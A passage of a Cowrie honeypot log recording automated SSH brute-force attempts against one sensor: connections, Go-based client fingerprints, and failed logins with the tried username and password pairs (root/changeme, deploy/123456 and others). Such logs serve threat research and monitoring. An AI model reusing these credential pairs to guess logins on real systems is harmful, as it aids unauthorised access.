{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:01.975931Z","src_ip":"103.149.170.125","session":"6c5e57ba2c1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:02.027943Z","src_ip":"192.109.200.237","session":"26ef8b2c10fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:02.782190Z","src_ip":"103.149.170.125","session":"6c5e57ba2c1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":51128,"dst_ip":"159.203.135.109","dst_port":22,"session":"09815282d368","protocol":"ssh","message":"New connection: 192.109.200.237:51128 (159.203.135.109:22) [session: 09815282d368]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:03.797814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:03.803794Z","src_ip":"192.109.200.237","session":"09815282d368","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:03.889727Z","src_ip":"192.109.200.237","session":"09815282d368","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:04.054109Z","src_ip":"103.149.170.125","session":"6c5e57ba2c1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"discordbot","password":"discordbot","message":"login attempt [discordbot/discordbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:04.280807Z","src_ip":"192.109.200.237","session":"09815282d368","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:05.366131Z","src_ip":"192.109.200.237","session":"09815282d368","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":51140,"dst_ip":"159.203.135.109","dst_port":22,"session":"96f7f897eaf5","protocol":"ssh","message":"New connection: 192.109.200.237:51140 (159.203.135.109:22) [session: 96f7f897eaf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:07.178300Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:07.182571Z","src_ip":"192.109.200.237","session":"96f7f897eaf5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:07.265000Z","src_ip":"192.109.200.237","session":"96f7f897eaf5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123456","message":"login attempt [deploy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:07.513508Z","src_ip":"192.109.200.237","session":"96f7f897eaf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:08.599682Z","src_ip":"192.109.200.237","session":"96f7f897eaf5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57378,"dst_ip":"159.203.135.109","dst_port":22,"session":"3eedfa088239","protocol":"ssh","message":"New connection: 192.109.200.237:57378 (159.203.135.109:22) [session: 3eedfa088239]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:10.355260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:10.359711Z","src_ip":"192.109.200.237","session":"3eedfa088239","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:10.443767Z","src_ip":"192.109.200.237","session":"3eedfa088239","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"changeme","message":"login attempt [root/changeme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:10.696137Z","src_ip":"192.109.200.237","session":"3eedfa088239","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:11.783505Z","src_ip":"192.109.200.237","session":"3eedfa088239","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.66768717765808,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:13.261919Z","src_ip":"192.119.13.58","session":"d3f974cf8721","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57408,"dst_ip":"159.203.135.109","dst_port":22,"session":"64e85fbe73af","protocol":"ssh","message":"New connection: 192.109.200.237:57408 (159.203.135.109:22) [session: 64e85fbe73af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:13.760320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:13.765716Z","src_ip":"192.109.200.237","session":"64e85fbe73af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:13.848295Z","src_ip":"192.109.200.237","session":"64e85fbe73af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alexis","password":"alexis","message":"login attempt [alexis/alexis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:14.103731Z","src_ip":"192.109.200.237","session":"64e85fbe73af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:15.188796Z","src_ip":"192.109.200.237","session":"64e85fbe73af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57422,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a024ccc22df","protocol":"ssh","message":"New connection: 192.109.200.237:57422 (159.203.135.109:22) [session: 8a024ccc22df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:16.930690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:16.936458Z","src_ip":"192.109.200.237","session":"8a024ccc22df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:17.019816Z","src_ip":"192.109.200.237","session":"8a024ccc22df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ZAQ!2wsx","message":"login attempt [root/ZAQ!2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:17.267820Z","src_ip":"192.109.200.237","session":"8a024ccc22df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:18.353328Z","src_ip":"192.109.200.237","session":"8a024ccc22df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":55006,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8d18174a7e0","protocol":"ssh","message":"New connection: 192.109.200.237:55006 (159.203.135.109:22) [session: d8d18174a7e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:20.129723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:20.134232Z","src_ip":"192.109.200.237","session":"d8d18174a7e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:20.216326Z","src_ip":"192.109.200.237","session":"d8d18174a7e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123456","message":"login attempt [user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:20.465530Z","src_ip":"192.109.200.237","session":"d8d18174a7e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:21.551102Z","src_ip":"192.109.200.237","session":"d8d18174a7e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":55020,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd1c8b784de9","protocol":"ssh","message":"New connection: 192.109.200.237:55020 (159.203.135.109:22) [session: cd1c8b784de9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:23.303305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:23.323111Z","src_ip":"192.109.200.237","session":"cd1c8b784de9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:23.388309Z","src_ip":"192.109.200.237","session":"cd1c8b784de9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123","message":"login attempt [ftpuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:23.711759Z","src_ip":"192.109.200.237","session":"cd1c8b784de9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:24.799983Z","src_ip":"192.109.200.237","session":"cd1c8b784de9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":55024,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d69f49f0112","protocol":"ssh","message":"New connection: 192.109.200.237:55024 (159.203.135.109:22) [session: 2d69f49f0112]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:26.491683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:26.496684Z","src_ip":"192.109.200.237","session":"2d69f49f0112","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-e